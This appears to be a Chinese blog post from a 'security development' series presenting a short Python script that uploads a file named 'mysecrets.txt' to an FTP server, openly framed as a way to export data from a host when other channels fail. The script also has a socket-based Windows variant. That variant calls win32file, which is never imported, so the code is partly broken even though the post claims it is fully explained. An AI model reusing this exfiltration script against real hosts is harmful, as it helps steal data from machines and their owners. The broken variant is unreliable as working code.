安全开发--19--Python实现FTP文件上传

本博客地址:https://security.blog.csdn.net/article/details/127758256

一、前言

与Python发送邮件类似,使用Python实现FTP文件上传也是为了将主机上的数据文件导出来,导出主机上的数据可能出于各种原因,至于为什么要使用FTP导出我们暂不讨论,毕竟不是每一种方式都能一次性成功,当其他方式不支持数据导出时,不妨试试这个。

二、代码实例

代码中已有明确注释,因此不再做单独的逻辑解释。

#!/usr/bin/python
#-*- coding:utf8 -*-

import ftplib
from http import client
import os
import socket

# 配置FTP信息
SERVER = '<your ftp server adderss>'
# 要上传的文件的路径
DOC_PATH = './mysecrets.txt'

def plain_ftp(docpath, server=SERVER):
    ftp = ftplib.FTP(server)
    ftp.set_debuglevel(2)
    # 连接并登录服务器
    ftp.login('<your username>', '<your passwd> ')
    # 定位目标目录
    ftp.storbinary("STOR " + os.path.basename(docpath), open(docpath, 'rb'), 1024)
    # 最后把文件写入目标目录
    ftp.quit()

# 和上面的函数一样,主要是面向windows的,document_path是上传的文件的路径
def transmit(document_path):
    client = socket.socket()
    client.connect((SERVER, 10000))
    with open(document_path, 'rb') as f:
        # 调用该函数传输文件
        win32file.TransmitFile(client, win32file._get_osfhandle(f.fileno()), 0, 0, None, 0, b'', b'')

if __name__ == "__main__":
    # 将这个txt文件上传到目标服务器上
    plain_ftp('./mysecrets.txt', server=SERVER)

三、运行测试

1、首先我们搭建一个FTP服务,这个请自行百度解决;

2、直接执行代码即可:

python xxx.py
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

武天旭

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值